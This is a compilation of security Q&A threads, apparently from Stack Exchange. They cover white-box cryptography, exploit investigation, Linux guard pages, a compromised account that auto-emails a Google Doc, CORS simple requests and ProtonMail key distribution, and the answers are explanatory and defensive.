There is a decent answer similar to this over on Cryptography at  https://crypto.stackexchange.com/questions/386/differences-between-white-box-cryptography-and-code-obfuscation.  To summarize briefly here, white box cryptography is specifically a type of code obfuscation for cryptographic keys in code.  I'm not aware of any techniques that are actually secure for doing it, but the idea is that for a program to use encrypted data without user intervention, it must somehow store the cryptographic key within the code in such a way that the key can not be retrieved, but the code can be executed.

The primary places this would be useful is anywhere that a user or system should not have access to a key, but needs to be able to decrypt in given situations.  Traditionally, the primary way to do this securely (not whitebox crypto) is through the use of a Trusted Platform Module or some other hardware that can perform cryptographic functions while restricting access to the key.  White box crypto tries to do the same thing without the need for secure hardware storage.

You are quite correct that the ability to conceal a key from it's user is most practical in either DRM or code decompilation prevention since if the white box cryptography worked, it would only allow access to the protected data or code when going through the protected environment.  I can't think of any other uses outside of those two.


Modeling vectors of an unknown exploit Looking for a formula and parameters to feed it that will aid in the isolation of relationships within a system when the origin and cause of an exploit within it is unknown. Here's an example of an attack where the vector(s) are unknown, but there is an awareness of the exploit's occurrence: Verifying that I have fully removed a WordPress hack?

If you have zero trace of what happened then you can only make assumptions as to what happened.

Standard practice is to identify all platforms and versions, then to look at vulnerability databases to see if there are known weaknesses in your environment.

Then look at all information flows and transforms - identifying entrance points.

The above are common initial steps in identifying vulnerabilities, but I don't understand what your question means regarding isolating relationships etc.

Hope this helps.


Do Linux kernels have guard pages? I'm new to the Linux kernel, how does the Linux kernel memory management use guard pages (if this feature even exists)?

Yes, Linux has guard pages.  The implementation in the latest Linux kernel recently changed somewhat in order to deal with a vulnerability ("stack clash") where the guard page can be skipped.  See this post for a description of the issue with the previous implementation.  See this thread on LKML for a discussion of recent changes.


How someone would routinely email out a Google Doc I have seen an issue where an account has been compromised and someone is routinely emailing out the contents of a google doc to another gmail account. The account password has been changed and the filters have been checked but the emails persist.

The email isn't a spam or chaining email. It targets 1 specific google doc and emails it daily to 1 specific gmail address from the compromised account. The emails also persist even though the password has been changed.

How can an attacker be scripting this and how can the script be interrupted?

Here are the email headers in the sent email:

Delivered-To: myemail@email.com
Received: by 10.140.134.81 with SMTP id 78cs1537032qhg;
    Sun, 22 Mar 2015 23:28:01 -0700 (PDT)
MIME-Version: 1.0
X-Received: by 10.140.148.68 with SMTP id 65mr73192201qhu.6.1427092081496;
Sun, 22 Mar 2015 23:28:01 -0700 (PDT)
Date: Mon, 23 Mar 2015 06:28:01 +0000
Subject: attacker
From: myemail@email.com
To: attacker@gmail.com
Content-Type: text/plain; charset=ISO-8859-1; format=flowed; delsp=yes

Most likely, the attacker has embedded a script in the document or in another document in the same account. Check all of the documents for embedded scripts and make sure there are no stand-alone scripts either.

Also make sure that none of the files have been shared with an external user id.

Then make sure the user turns on 2-factor authentication on their account. Although this can be a bit of a pain, the added security is well worth it when you can loose so much if you loose control of your account.


Why CORS preflight is not available for POST requests when Content-Type is application/x-www-form-urlencoded In oauth2 for single page application(SPA), we can revoke the access tokens of the implicit grant type by using an ajax request(this is not recommended now). I tried to do a request like below from such a SPA to an identity server in another domain. I wasn't getting blocked due to the CORS.

<script>
function revokeToken() {
var params= 'token='+ getAcceesToken() + '&token_type_hint=access_token&client_id=' + getClientID();

request = new XMLHttpRequest();
request.open('POST', getRevokeURL(), true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

request.onreadystatechange = function() {//Call a function when the state changes.
    if(request.readyState == 4 && request.status == 200) {
        alert(request.responseText);
    }
}
request.send(params);
}
</script>

As I went through the docs in [1], it says that some requests don’t trigger a CORS preflight, this includes POST requests with Content-Type application/x-www-form-urlencoded as well.

I think there is a security risk due to such exemption. Even I was able to successfully do the revocation with chrome as well. Why are browsers allowing such cases?

CORS preflight triggered only when I changed the content type to application/json

[1] https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

So my understanding of why this is allowed is so that the implementation of CORS wouldn't break existing and well understood functionality which was already allowed by browsers. This also means that preflights aren't required for text/plain and multipart/form-data in addition to application/x-www-form-urlencoded

These are referred to as "simple requests" and must be GET, HEAD, or POST and there are restrictions which headers can be set in addition to the Content-Type header.

The mozilla.org documentation on these notes:

  These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.

You can read the documentation here: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS


How are ProtonMail keys distributed? There is a service called ProtonMail.

It encrypts email on the client side, stores encrypted message on their servers, and then the recipient decrypts it, also on the client side and the system "doesn't store keys".

My question is this: How does the decryption work?

I'm a bit confused. Do I have to send my decryption key to each recipient before he can read my messages?

I am Jason, one of the ProtonMail developers.

Decryption uses a combination of asymmetric (RSA) and symmetric (AES) encryption.

For PM to PM emails, we use an implementation of PGP where we handle the key exchange. So we have all the public keys. As for the private keys, when you create an account, it is generated on your browser, then encrypted with your mailbox password (which we do not have access to). Then the encrypted private key is pushed to the server so we can push it back to you whenever you login. So do we store your private key, yes, but since it is the encrypted private key, we don't actually have access to your key.

For PM to Outside emails, encryption is optional. If you select to encrypt, we use symmetric encryption with a password that you set for that message. This password can be ANYTHING. It should NOT be your Mailbox password. You need to somehow communicate this password to the recipient.

We have a couple other tricks as well for getting around the horrible performance of RSA.

We will eventually write a whitepaper with full details that anybody can understand. But something like that is a week long project in itself. I apologize in advance if my answer only makes sense to crypto people.